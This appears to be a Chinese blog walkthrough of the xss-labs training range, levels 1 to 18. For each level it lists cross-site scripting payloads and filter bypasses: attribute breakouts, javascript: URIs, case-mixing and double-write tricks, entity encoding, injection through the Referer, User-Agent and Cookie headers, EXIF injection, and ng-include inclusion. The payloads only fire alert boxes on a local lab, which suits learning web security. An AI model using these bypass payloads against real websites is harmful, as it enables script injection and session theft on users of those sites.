xss_labs通关教程

level1

1、url输入特殊字符,按F12判断输入字符的位置

在这里插入图片描述

2、构造Payload

/level1.php?name=</h2><script>alert("xss")</script>

level2

1、url输入特殊字符判断位置

在这里插入图片描述

2、构造Payload

"><script>alert("xss")</script>#

level3

1、url输入特殊字符判断位置

在这里插入图片描述

2、构造Payload

"><script>alert("xss")</script>#
"onclick=alert('xss')
" onmouseover=prompt("xss") type="text

发现<>、" "被转义

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

猜测有htmlspecialchars()过滤,但'没有被过滤

4、重新构造Payload

' onmouseover=prompt('xss') type='text 发现弹窗,但没有过关
'onclick=alert('xss')type='text  成功

level4

1、url输入特殊字符判断位置

在这里插入图片描述

2、构造Payload

'onclick=alert('xss')type='text

在这里插入图片描述

发现'被过滤,使用Javascript伪协议绕过

3、重新构造Payload

" onclick="javascript:alert(1)

level5

1、url输入特殊字符判断位置

在这里插入图片描述

2、构造Payload

" onclick="javascript:alert(1)

在这里插入图片描述

发现onclick的on被替换为o_n,使用没有on的弹窗

3、重新构造Payload

">"<a href="javascript:alert(1)">aa</a>

level6

1、url输入特殊字符判断位置

在这里插入图片描述

2、构造Payload

">"<a href="javascript:alert(1)">aa</a>
"><img src=javascript:alert(1)>

发现href被替换,src被替换,尝试大写绕过

在这里插入图片描述

3、重新构造Payload

">"<a hRef="javascript:alert(1)">aa</a>

level7

1、url输入特殊字符判断位置

在这里插入图片描述

2、构造Payload

">"<a hRef="javascript:alert(1)">aa</a>

发现hRef和script被过滤为空,双写绕过

3、重新构造Payload

">"<a hRhrefef="javascrscriptipt:alert(1)">aa</a>

level8

1、url输入特殊字符判断位置

在这里插入图片描述

发现两个地方有构造点

2、构造Payload

" onclick="javascript:alert(1)

<>被编码了,在href属性值中script字符被插入了_字符破坏语义

用来闭合引号的引号也被编码了。

onfocus一类的事件也被破坏了

大小写绕过,失败了

因为此处没有对关键字进行删除,所以就不进行双写测试了

其实还可以将我们要提交的js代码进行编码

3、重新构造Payload

unicode在线编码
https://tool.oschina.net/encode

javascript: alert(1)
编码后:
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#32;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

level9

1、url输入特殊字符判断位置

在这里插入图片描述

2、构造Payload

javascript: alert(1)
编码后:
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#32;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

提交的参数值插入到了标签的value属性值中

但是在<a>标签的href属性中却并没有出现该参数值,

而是显示的 "您的链接不合法?有没有!"这样的字符串。

猜测这里可能对url地址做了匹配。

只有包含正常的url地址才能添加到href属性值中

3、重新构造Payload

javascript:alert('xss')http://www.baidu.com

发现script被过滤scr_ipt

4、重新构造Payload

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;//http://

level10

1、url输入特殊字符判断位置

在这里插入图片描述

发现有三个隐藏表单,发现只有t_sort能传参

2、构造Payload

keyword=1&t_sort=" onclick=alert(1) type="text

level11

1、url输入特殊字符判断位置

在这里插入图片描述

发现有四个隐藏表单

2、构造Payload

http://192.168.220.135/xss/xss-labs/level11.php?keyword=1&t_link=" onclick=alert(1) type="text&t_history=" onclick=alert(1) type="text&t_sort=" onclick=alert(1) type="text&t_ref=" onclick=alert(1) type="text

发现只有t_sort能传参,过滤"

3、重新构造Payload

进行抓包

可以看到在原始的请求数据包中并没有referer这个请求头,那么我们可以自

己给它加上

referer:111

在这里插入图片描述

发现t_ref隐藏表单被传入111

构造Payload

referer:" onclick=alert(1) type="text

level12

1、url输入特殊字符判断位置

在这里插入图片描述

发现有四个隐藏表单,发现t_ua传入的是User-Agent

2、构造Payload

User-Agent: " onclick=alert(1) type="text

level13

1、url输入特殊字符判断位置

在这里插入图片描述

发现有四个隐藏表单,使用BP抓包,发现Cookie参数传入t_cook

Cookie: user=call+me+maybe%3F

2、构造Payload

Cookie: user=" onclick=alert(1) type="text

level14

1、上传文件判断位置

在这里插入图片描述

发现打印出来图片EXIF信息。

2、构造Payload

我们可以修改EXIF信息,向其中写入脚本,当后端读取并先到前端时,就会注入脚本,触发XSS。

在这里插入图片描述

上传文件,成功弹窗

level15

1、判断位置

URL的src参数回显在下面的ng-include。

http://192.168.220.135/xss/xss-labs/level15.php?src="level15.png"

在这里插入图片描述

ng-include相当于php的include函数,所以我们包含一个有XSS漏洞的URL就可触发这里的XSS。

2、构造Payload

http://192.168.220.135/xss/xss-labs/level15.php?src='level1.php?name=<img src=x onerror=alert(1)>'

level16

1、url输入特殊字符判断位置

在这里插入图片描述

2、构造Payload

</center><script>alert(1)</script>

发现/script和空格被过滤,可以使用img标签

2、重新构造Payload

<img%0asrc="x"onerror=alert(1)>

level17

1、url输入特殊字符判断位置

在这里插入图片描述

2、构造Payload

这题是Flash XSS,但是我们用闭合属性也可以触发XSS

arg01=a&arg02=" onmouseover=alert(1)

level18

这题也是Flash XSS,我们可以用闭合属性也可以触发XSS

arg01=a&arg02=" onmouseover=alert(1)

后面的涉及到了反汇编,暂时放下
可以参考大佬的文章:https://cloud.tencent.com/developer/article/1777605

posted @ 2022-07-06 18:24  爱吃_白菜  阅读(257)  评论(0编辑  收藏  举报